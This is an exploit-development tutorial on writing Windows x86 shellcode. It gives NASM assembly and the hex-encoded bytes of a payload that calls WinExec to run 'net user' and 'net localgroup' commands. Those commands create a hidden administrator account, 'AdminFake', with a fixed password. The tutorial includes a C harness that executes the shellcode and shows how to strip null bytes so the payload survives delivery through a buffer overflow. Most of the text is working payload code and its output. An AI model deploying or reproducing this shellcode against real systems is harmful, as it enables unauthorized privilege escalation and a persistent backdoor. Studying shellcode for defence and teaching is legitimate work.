Writing Shellcode
The WinExec shellcode (NASM)
==============================
[Section .text]
BITS 32
global _start
_start:
JMP GetCmd
ReturnfromCommand:
POP EBX ;Holds the Pointer to the command string to be executed using WinExec
MOV ECX,1 ;Parameter 2 for WinExec SW_SHOWNORMAL
PUSH ECX ;Push the 2nd param on the stack
PUSH EBX ;Push the first Param
XOR EBX,EBX ;Zero the EBX register
MOV EBX,0x7c86114d ;WinExec address. found it using Arwin utility
CALL EBX ;Call the WinExec
XOR EAX,EAX ;Zero EAX
PUSH EAX ;Push EAX on the stack
XOR EBX,EBX ;Zero the EBX
MOV EBX,0X7c81caa2 ;Address of ExitProcess function
CALL EBX ;Call ExitProcess for clean exit
GetCmd:
CALL ReturnfromCommand ;This saves the EIP on the stack, which points to the next instruction to be executed
;In our case, the next instruction is nothing, but pointing to the string
;to be passed as the command to the WinExec function
db “cmd.exe /c net user AdminFake AdminPass /ADD && net localgroup Administrators /ADD AdminFake”,0
Now, we use the NASM to compile the WinExec.asm:
NASM WinExec.asm -o WinExec.bin
This generates the WinExec.bin file, and we extract the Hex codes from it using the pveReadBin.pl utility(corelan site):
pveReadBin.pl WinExec.bin
“\xeb\x1d\x5b\xb9\x01\x00\x00\x00″
“\x51\x53\x31\xdb\xbb\x4d\x11\x86″
“\x7c\xff\xd3\x31\xc0\x50\x31\xdb”
“\xbb\xa2\xca\x81\x7c\xff\xd3\xe8″
“\xde\xff\xff\xff\x63\x6d\x64\x2e”
“\x65\x78\x65\x20\x2f\x63\x20\x6e”
“\x65\x74\x20\x75\x73\x65\x72\x20″
“\x41\x64\x6d\x69\x6e\x46\x61\x6b”
“\x65\x20\x41\x64\x6d\x69\x6e\x50″
“\x61\x73\x73\x20\x2f\x41\x44\x44″
“\x20\x26\x26\x20\x6e\x65\x74\x20″
“\x6c\x6f\x63\x61\x6c\x67\x72\x6f”
“\x75\x70\x20\x41\x64\x6d\x69\x6e”
“\x69\x73\x74\x72\x61\x74\x6f\x72″
“\x73\x20\x2f\x41\x44\x44\x20\x41″
“\x64\x6d\x69\x6e\x46\x61\x6b\x65″
“\x00″;
Test the Hex code generated by putting it in the shellocdetest program:
char code[] = “shellcode here”
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Replace the “shellcode here†with the hex codes:
char code[] = “\xeb\x1d\x5b\xb9\x01\x00\x00\x00“
“\x51\x53\x31\xdb\xbb\x4d\x11\x86″
“\x7c\xff\xd3\x31\xc0\x50\x31\xdb”
“\xbb\xa2\xca\x81\x7c\xff\xd3\xe8″
“\xde\xff\xff\xff\x63\x6d\x64\x2e”
“\x65\x78\x65\x20\x2f\x63\x20\x6e”
“\x65\x74\x20\x75\x73\x65\x72\x20″
“\x41\x64\x6d\x69\x6e\x46\x61\x6b”
“\x65\x20\x41\x64\x6d\x69\x6e\x50″
“\x61\x73\x73\x20\x2f\x41\x44\x44″
“\x20\x26\x26\x20\x6e\x65\x74\x20″
“\x6c\x6f\x63\x61\x6c\x67\x72\x6f”
“\x75\x70\x20\x41\x64\x6d\x69\x6e”
“\x69\x73\x74\x72\x61\x74\x6f\x72″
“\x73\x20\x2f\x41\x44\x44\x20\x41″
“\x64\x6d\x69\x6e\x46\x61\x6b\x65″
“\x00″;
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Compile, link and run the program. This will add an administrator user “AdminFake†with password “AdminPassâ€
NULL BYTE PROBLEM:
The above shellcode works fine as a standalone program. However, when we need to provide the input to some other program and exploit an overflow, we need to have null bytes eliminated. This makes sure that if the overflown buffer involves string functions, our shellcode would not terminate because of the null \x00 char. In the previous shellcode, there are 3 bytes initially, and one at the end. However, the end null byte need not be removed as it terminates the add user command.
So, Lets view the shellcodeTest.exe in immunity debugger
Note, that the three null bytes are due to MOV ECX,1 instruction. So, we need to overcome this in some manner.
There can be many ways to overcome this. One can be the following:
MOV ECX,99999999
SUB ECX,99999998
which is equivalent to MOV ECX,1. Thus, replace the MOV ECX,1 instruction with the above two statements and generate the shellcode again. For me, the shellcode comes out to be:
“\xeb\x23\x5b\xb9\xff\xe0\xf5\x05″
“\x81\xe9\xfe\xe0\xf5\x05\x51\x53″
“\x31\xdb\xbb\x4d\x11\x86\x7c\xff”
“\xd3\x31\xc0\x50\x31\xdb\xbb\xa2″
“\xca\x81\x7c\xff\xd3\xe8\xd8\xff”
“\xff\xff\x63\x6d\x64\x2e\x65\x78″
“\x65\x20\x2f\x63\x20\x6e\x65\x74″
“\x20\x75\x73\x65\x72\x20\x41\x64″
“\x6d\x69\x6e\x46\x61\x6b\x65\x20″
“\x41\x64\x6d\x69\x6e\x50\x61\x73″
“\x73\x20\x2f\x41\x44\x44\x20\x26″
“\x26\x20\x6e\x65\x74\x20\x6c\x6f”
“\x63\x61\x6c\x67\x72\x6f\x75\x70″
“\x20\x41\x64\x6d\x69\x6e\x69\x73″
“\x74\x72\x61\x74\x6f\x72\x73\x20″
“\x2f\x41\x44\x44\x20\x41\x64\x6d”
“\x69\x6e\x46\x61\x6b\x65\x00″;
And when I run the shellcodetest.exe, the user “AdminFake†is created.
However, still one null byte remains at the end of the shellcode. What to do now ? There is one solution though. We will modify our assembly code as follows:
[Section .text]
BITS 32
global _start
_start:
JMP GetCmd
ReturnfromCommand:
POP EBX ;Holds the Pointer to the command string to be executed using ;WinExec
XOR EAX,EAX
MOV [EBX+92],AL ;This will replace the placeholder ‘Z’ in the string with null byte
MOV ECX,99999999 ;These two instructions
SUB ECX,99999998 ;put 1 in ECX
PUSH ECX ;Push the 2nd param on the stack
PUSH EBX ;Push the first Param
XOR EBX,EBX ;Zero the EBX register
MOV EBX,0x7c86114d ;WinExec address. found it using Arwin utility
CALL EBX ;Call the WinExec
XOR EAX,EAX ;Zero EAX
PUSH EAX ;Push EAX on the stack
XOR EBX,EBX ;Zero the EBX
MOV EBX,0X7c81caa2 ;Address of ExitProcess function
CALL EBX ;Call ExitProcess for clean exit
GetCmd:
CALL ReturnfromCommand ;This saves the EIP, which points to the next instruction to be executed
;In our case, the next instruction is nothing, but pointing to the string
;to be passed as the command to the WinExec function
db “cmd.exe /c net user AdminFake AdminPass /ADD && net localgroup Administrators /ADD AdminFakeZ” ;Length= 92 characters. Note that we have added extra ‘Z’ character as a placeholder.
Assemble the above code, extract hex codes using pveReadBin.pl, and paste them in shellcodeTest.c.
For me, the shellcode comes to be:
“\xeb\x28\x5b\x31\xc0\x88\x43\x5c”
“\xb9\xff\xe0\xf5\x05\x81\xe9\xfe”
“\xe0\xf5\x05\x51\x53\x31\xdb\xbb”
“\x4d\x11\x86\x7c\xff\xd3\x31\xc0″
“\x50\x31\xdb\xbb\xa2\xca\x81\x7c”
“\xff\xd3\xe8\xd3\xff\xff\xff\x63″
“\x6d\x64\x2e\x65\x78\x65\x20\x2f”
“\x63\x20\x6e\x65\x74\x20\x75\x73″
“\x65\x72\x20\x41\x64\x6d\x69\x6e”
“\x46\x61\x6b\x65\x20\x41\x64\x6d”
“\x69\x6e\x50\x61\x73\x73\x20\x2f”
“\x41\x44\x44\x20\x26\x26\x20\x6e”
“\x65\x74\x20\x6c\x6f\x63\x61\x6c”
“\x67\x72\x6f\x75\x70\x20\x41\x64″
“\x6d\x69\x6e\x69\x73\x74\x72\x61″
“\x74\x6f\x72\x73\x20\x2f\x41\x44″
“\x44\x20\x41\x64\x6d\x69\x6e\x46″
“\x61\x6b\x65\x5a”;
This is the null free shellcode.